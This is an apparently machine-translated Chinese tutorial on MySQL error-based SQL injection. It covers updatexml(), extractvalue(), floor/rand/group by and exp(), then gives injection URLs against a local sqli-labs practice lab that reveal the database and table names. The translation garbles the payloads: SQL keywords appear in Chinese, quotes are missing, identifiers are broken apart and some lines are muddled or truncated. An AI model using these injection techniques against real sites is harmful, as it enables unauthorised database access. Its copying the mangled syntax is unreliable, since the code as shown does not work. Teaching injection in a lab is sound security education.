xxx
updatexml()角色：更改文档中合格节点的值。
语法：更新XML (XML _ document，XPath _ string，new _ value)
参数1: XML _ document是字符串格式，这是1:XML_document对象的名称。参数2:XPath _ String(XPath格式的字符串)，参数3: new _ value，字符串格式，注入时可以操作，替换找到的符合条件的数据。
错误报告原则：与extractvalue()相同
其他函数
floor()、rand()、count()、group by联用功能
Floor(x):向下舍入参数x。
Rand():生成一个介于0和1之间的随机浮点数。
Count(*):统计表格下的记录总数。
组x:根据一定的规则(x)分组
报错原理：使用group by和rand()时，如果临时表中没有这样的主键，rand()会重新计算后再插入，然后group by会将计算后的主键直接插入临时表中，导致主键重复报错。
exp()（5.5.5= MySQL数据库版本号=5.5.49）功能：根据E(自然常数)计算功率值。
语法：exp(x)
报错原理：当参数x超过710时，exp()函数会报错，比如：DOUBLE value is of range:
MySQL数据库报错功能函数总汇
报错注入实例
extractvalue()仍然使用sqli/Less-1
直接使用错误报告函数来公开库。
暴库
http://127.0.0.1/sqli/Less-1/？id=1 和extractvalue(1，concat(~ ，database())--
暴表
http://127.0.0.1/sqli/Less-1/？id=1 和extractvalue(1，concat(~ ，(select group _ concat(table _ name)from information _ schema . tables，其中table _ schema= security ))--
以下步骤大致相同，不再演示。
updatexml()暴库
http://127.0.0.1/sqli/Less-1/？id=1 和updatexml(1，concat(~ ，database())，1) -
暴表
http://127.0.0.1/sqli/Less-1/？id=1 和updatexml(1，concat(~ ，(select group _ concat(table _ name)from information _ schema . tables，其中table_schema=security ))，1) -
总结
这就是SQL注入教程中关于错误注入的这篇文章。有关SQL错误注入的更多信息，请搜索我们以前的文章或继续浏览下面的相关文章。希望你以后能支持我们！
